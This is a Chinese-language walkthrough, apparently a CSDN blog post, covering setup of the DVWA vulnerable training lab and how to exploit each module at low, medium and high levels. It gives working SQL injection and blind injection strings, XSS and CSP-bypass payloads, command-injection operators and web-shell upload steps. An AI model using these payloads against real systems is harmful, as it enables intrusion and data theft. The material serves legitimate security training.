DVWA靶场的搭建与详解

靶场搭建

DVWA靶场的下载地址   https://github.com/digininja/DvWA/archive/master.zip

这里是用小皮在windows下搭建的,也比较简单

下载完解压到小皮的www目录下

进入DVWA-master\config将config.inc.php.dist文件后缀名删除,

并打开配置如图

浏览器就可以访问了http://127.0.0.1/DVWA-master/

首次进入下滑最下面创建数据库,就进入了

 Brute Force(暴力破解)

low level

 输入字符没有任何过滤,直接用bp来爆破

随便输入采用Cluster bomb 进行爆破

 获取到账号密码

 medium level

 分析源码加入了mysqli_real_escape_string()函数,防止了部分SQL注入

还是爆破

和low一样

 high level

 分析源码

加入了Anti-CSRF token验证,还是可以进行暴力破解的,不过要知道用户名这里是(admin)

发送intruder 选择 Pitchfork

 

 

 

 

 Command Injection(命令注入)

low level

 command1 && command2   先执行command1,如果为真,再执行command2

 command1 & command2        command1 与command2同时执行,不管command1 是否执行成功

 command1 || command2  先执行command1 ,如果为假,再执行command2

 command1 | command2 只执行command2

 command1 ;command2 先执行1,后执行2(linux)

等级为low没有什么过滤

 Medium level

 

过滤了&& 不过可以使用 ||

 

high level

过滤了| 、&&、&

但没有过滤||

 CSRF

low level

查看源码,发现只验证了 新密码和确认密码是否一致

随便输入新密码和确认密码 发现url中存在泄露

 通过站长之家构造短链接,显得给更真实

 访问成功,成功进行修改

 medium level

 审计源代码stripos()函数查找字符串再另一个字符串中第一次出现的位置(不区分大小写)

检查了保留变量HTTP_REFERTER(http包头部的referter字段的值,表示来源地址)是否包含SERVER-NAME(http包头部Host字段表示要访问的主机)

构造恶意页面文件名改为127.0.0.1.html ,HTTP_REFERTER就会包含127.0.0.1.html,就可以绕过stripos

 

 high level

查看源代码发现增加了token验证

 在burp安装插件,添加主机名name token值,再重新抓包进行重放

 可以任意修改密码

 File Inclusion(文件包含)

low level

进入访问1.php 查看 ,发现5.php 存在include函数

 可以利用文件上传一句话木马,复制路径通过文件包含看是否解析

 

 复制路径,../../hackable/uploads/include.php

 

使用蚁剑进行连接

  Medium level

查看源码

使用str_replace对http:// ,https://替换成空,可以使用双写进行远程命令执行

还过滤了../、..\可以使用绝对路径的方式进行绕过

 high level

fnmatch()函数根据指定的模式来匹配文件名或字符串,可以看到,High级别的代码对包含的文件名进行了限制,必须为file*或者include.php ,否则会error

 

 File Upload

low level

没有对上传的文件做任何限制,直接上传一句话木马,蚁剑进行连接

medium level

查看源码验证了文件类型,和文件大小

上传成功 蚁剑连接

high level

看到一个getimagesize(string filename)函数 他会通过读取文件头,返回图片的长,宽等信息,如果图片没有文件头,函数就会报错,读取文件名中最后一个'.'后的字符串,必须是.jpg/.jpeg/.png 之一

 上传一个图片马,通过文件包含进行解析,或者通过命令执行进行修改后缀名

通过命令执行重命名了

 

 Inssecure CAPTCHA(不安全的验证码)

low level

查看源码发现只验证了change,step参数来判断用户是否输入了正确的验证码,抓包进行绕过

 将step值修改为2,即可

 

  medium level

查看源码发现这次验证了5个参数,抓包进行修改

增加了 passed_captcha=true

high level

查看源代码发现验证   g-recaptcha-response  

User-Agent

 漏洞利用

按照限制,抓取修改密码数据包 User-Agent: reCAPTCHA

g-recaptcha-response=hidd3n_valu3

 SQL Injection

low level

通过输入1 可查询到admin 1' 失败

可以判断出ID是被''包括起来,输入字符型注入

 判断字段数,有两个字段

 判断回显位,判断数据库名称

 

接着判断表名,列明,字段值

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'  #

 

 

 

medium level

使用了mysql_real_wescape_string函数对特殊符号\x00,\n,\r,,',",\x1a进行转义,同时前端页面设置了下拉选择表单,

 1 and 1=1# 查询成功,

 

 1 and 1=2 union select 1, concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273), floor(rand(0)*2))x from information_schema.tables group by x#

 

 high level

可以看到。添加了LIMIT1 ,希望以此控制只输出一个结果,提交页面和查询结果不是同一个,也没有302跳转,这样做的目的是为了防止一般的sqlmap注入

 SQL Injection(Blind)

low level

有两种回显  存在: User ID exists in the database;  不存在: User ID is MISSING from the database;

 

存在字符型盲注

猜解数据库长度

1' and length(database())>10 #

1' and length(database())=4 #

数据库的第一个字符,利用substr()函数 从给定字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的位置,并分别转换位ASCLL,与对应的ascii值比较

substr(string,start,length);

第一个字符为1' and ascii(substr(database(),1,1))=100 #

第二个字符为1' and ascii(substr(database(),2,1))=118#

猜解数据库中的表名,先猜解表的个数,表的名字长度,表的每一个字符

1' and (select count (table_name) from information_schema.tables where table_schema=database()) =2 #

表名称的长度,

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

第一个表的第一个字符

1’ and ascii (substr((select table_name from iniformation_schema.tables where table_schema=database() limit 0,1),1,1))=103#

猜解表中的字段名

表中的字段数目,长度,字段的字符组成

猜解users表的字段数目:

长度

1' and (select count (column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#

数据库中的字段名称

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

dvwa.users表的user的第一条记录长5个字符

1' and length(substr((select password from users limit 0,1),1))=32 #

medium level

post提交方式

延时注入

判断数据库长度

1 and if (length (database())=4,sleep(5),1)#

判断数据库的第一个字符

1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) #

high level

 Weak Session IDs

low level

简介 当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Session去访问。

 每次点击都会dvwaSession 都会增加1

 通过这个可以构造

payload:dvwaSession=4; security=low; PHPSESSID=p4g2t2r17un6elgirj3pbdfnf4

 XSS (DOM)

low level

直接在default插入弹窗语句

  medium level

查看源码,发现过滤了"<script" 构造payload

</option></select><img src=x onerror=alert(1)>

 high level

 

查看源代码,发现只对default进行检查

设置payload &<script>alert(1)</script>

 XSS(Reflected)反射性

low level

可以直接输入弹窗语句<script>alert('a')</script>

成功

medium level

查看源码,发现<script>被过滤了为空,可以使用大小写进行绕过

<ScRipt>alert('xss')</ScRipt>

high level

 high级别的代码使用了正则表达式直接把<*s*c*r*i*p*t>给过滤了,*代表一个或任意字符,i代表不区分大小写,所以<script>标签在这里就不能用

不过可以使用img,svg body等标签的事件或者iframe等标签注入恶意js代码

<img src=1 οnerrοr=alert('xss')>

 XSS(Stored)

low level

查看源代码

 trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t \n

\x0B \r 以及空格,可选参数charlist支持添加额外需要删除的字符

mysql_real_escape_string(string,connection)

函数会对字符串中的特殊符号 (\x00 ,\n \r \,' ," ,\x1a)进行转义

stripslashes(string)函数删除字符串中的反斜杠。

可以看到,对输入并没有坐XSS方面的过滤与检查,且存储在数据库中

进行测试

medium level

strip_tags()

函数剥去字符串中的HTML 、XML 以及PHP的标签,但允许使用标签

addslases()

函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加发斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法在通过message参数注入xss代码,但是对于name参数,只是简单的过滤

修改长度,大小写绕过

         

high level

查看源码 message变量依然无法注入,name变量正则过滤更加完善,不区分大小写,且使用通配符匹配,导致嵌套构造的方法也不行,

<img src=1 onerror=alert(1) />

 CSP Bypass

low level

您可以包含来自外部源的脚本,检测内容安全策略,然后再此处输入要包含的URL:

查看源代码

 首先,通过设置$headerCSP变量来定义CSP的策略规则

script-src指令被用来限制可执行的脚本的来源。通过设置'self'、https://pastebin.com、hastebin.con、www.toptal.com、 example.com 、code.jquery.com 和https://ssl.google-analytics.com这些来源。来允许从这些地址加载JavaScript。

然后,使用header()函数将定义好的CSP头部发送给浏览器,以告知浏览器采用CSP策略

接着是一个简单的网页表单,允许用户输入一个URL ,并在提交表单时使用$_POST['include']获取用户输入的URL.如果用户输入了URL ,那么会根据用户输入的URL动态生成一个<script>标签来加载外部脚本。

https://pastebin.com

 

 

medium level

 首先,代码通过设置$headerCSP变量定义了一个内容安全策略头部。通过"script-src" 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' 指令设置nonce ,其目的是为了提供额外的安全性,确保只有具有相应nonce的脚本能够被执行。这样可以防止未经授权的脚本注入攻击。然后使用header($headerCSP);将该内容安全策略头部应用于响应头。

接下来,通过header("X-XSS-Protection:0");这行代码,禁用了浏览器的跨站脚本攻击(xss)防护机制,以便内联的弹窗警告框能够正常工作

接下来的代码段是一个表单,允许用户输入内容,并将该内容直接输出到页面中。用户可以在文本框中输入任意内容,这些内容将被添加到页面的主体部分

构造poc

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("xss")</script>

 

high level

由于 include 为可控参数且回调函数的名称solveSum可更改

故构造POC如下:

include=<script src="source/jsonp.php?callback=alert("qiushuo");"></script>

 JavaScript

low level

输入success 提示token错误

查看源码

 最下面的才是关键我们提交的phrase先调用rot13函数,再调用MD5函数,得到的值就是token,这两个函数就是加密方式。调用的函数就是generate_token(),我们只需要将关键字改为success再调用一遍这个函数就可以。

medium level

直接查看源码

源码中直接调用了一个medium.js文件,这个文件就是加密文件,里面的内容就是第二部分的代码

token是由do_elsesomething("XX")产生,上下都在定义函数,只有中间的两行再调用函数,

 Open HTTP Redirect

low level

点击quote1 发现下面的url

查看源码得

 可构造Payload如下:

?redirect=跳转网页url

例如: ?redirect=https://www.baidu.com

127.0.0.1/DVWA-master/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com

发现可以跳转道百度页面

medium level

刚开始页面是一样的

查看源码看看

 发现对http和https进行了判定

不过可以使用其他方法实现重定向:这里使用javaScript进行重定向或者使用服务器端重定向

代码如下:

<script type="text/javascript">
    var redirectURL = "https://www.baidu.com";
    windows.location.href = redirectURL;  //执行重定向
</script>

 还可以使用代理页面: 创建一个中间代理页面,用户访问该页面时,该页面再将请求重定向到百度

创建一个php的文件

例如

<?php
header("Location: http://www.baidu.com");
exit;
?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值